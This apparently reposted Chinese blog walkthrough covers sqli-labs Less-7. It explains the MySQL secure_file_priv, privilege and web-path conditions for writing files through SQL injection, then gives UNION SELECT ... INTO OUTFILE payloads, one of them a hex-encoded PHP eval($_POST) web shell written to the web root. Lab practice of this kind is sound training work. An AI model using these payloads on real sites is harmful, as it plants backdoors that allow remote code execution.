当前位置: 首页 > news >正文

sqli-labs之Less-7 GET注入写shell

验证注入点:单引号报错,'))

根据提示,是想让我们试试写shell

第一个条件 secure_file_priv

写shell即MySQL需要对外写文件,但默认MySQL是不允许outfile来导出数据的,先动手在MySQL确认一下。

MySQL特性,secure_file_priv 对读写文件的影响,此开关默认为NULL,即不允许导入导出。

secure-file-priv参数是用来限制LOAD DATA,SELECT ...OUTFILE,and LOAD_FILE()传到哪个指定目录的

    1、当secure_file_priv的值为null,表示限制mysqld不允许导入|导出
    2、当secure_file_prv的值为/tmp/,表示限制mysqld 的导入|导出只能发生在/tmp/目录下
    3、当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制

windows下:修改my.ini 在[mysqld]内加入secure_file_priv =
linux下:修改my.cnf 在[mysqld]内加入secure_file_priv =

重启mysql

第二个条件 必须是root权限

第三个条件 必须知道网站路径

利用报错得到网站路径;

利用函数select @@datadir得到mysql的路径,再推导网站路径

payload:

id=1')) union select null,0x3c3f706870206576616c28245f504f53545b27707764275d293b3f3e,null into outfile 'E:/PhpStudent/phpstudy_pro/WWW/sqlilabs/Less-7/shell.php' --+

id=1')) union select 1,"<?php phpinfo(); ?>",3 into outfile "E:\\PhpStudent\\phpstudy_pro\\WWW\\sqlilabs\\Less-7\\shell.php" --+

http://www.dtcms.com/a/142518.html

相关文章:

  • CPU与GPU之间的交互
  • 【C++】新手入门指南(上)
  • Linux-进度条小程序
  • webpack 中 chunks详解
  • 论文降重GPT指令-实侧有效从98%降低到8%
  • SQL注入相关知识
  • 【解决】torch引入过程中的ImportError: __nvJitLinkAddData_12_1, version libnvJitLink.so.12
  • 阿里云Clickhouse 冷热数据分层存储 实战记录
  • 递归下降 ll(1) 型文法 识别二元组文法分析
  • 从零开始学习 Lucene.Net:.NET Core 中的全文搜索与索引管理
  • [密码学基础]GMT 0002-2012 SM4分组密码算法 技术规范深度解析
  • Windows系统C盘深度清理指南
  • 指令与权限
  • 基于大语言模型的自动化单元测试生成系统及测试套件评估方法
  • 【多线程5】面试常考锁知识点
  • java ai 图像处理
  • Shiro-550 动调分析与密钥正确性判断
  • 【网络编程】TCP数据流套接字编程
  • 基础数学知识-线性代数
  • 【C++ Qt】信号和槽(内配思维导图 图文并茂 通俗易懂)
  • 代码规范之命名方式
  • 相机模型--CMOS和CCD的区别
  • Linux网络编程 深入解析Linux TCP:TCP实操,三次握手和四次挥手的底层分析
  • 第七周作业
  • Neovim插件深度解析:mcphub.nvim如何用MCP协议重构开发体验
  • 数字孪生赋能管理系统,降本增效立竿见影
  • Manus技术架构、实现内幕及分布式智能体项目实战
  • 海量聊天数据处理:基于Spring Boot与SharingJDBC的分库分表策略及ClickHouse冷热数据分离
  • 微服务与事件驱动架构(EDA)
  • 每天五分钟深度学习PyTorch:0填充函数在搭建神经网络中的应用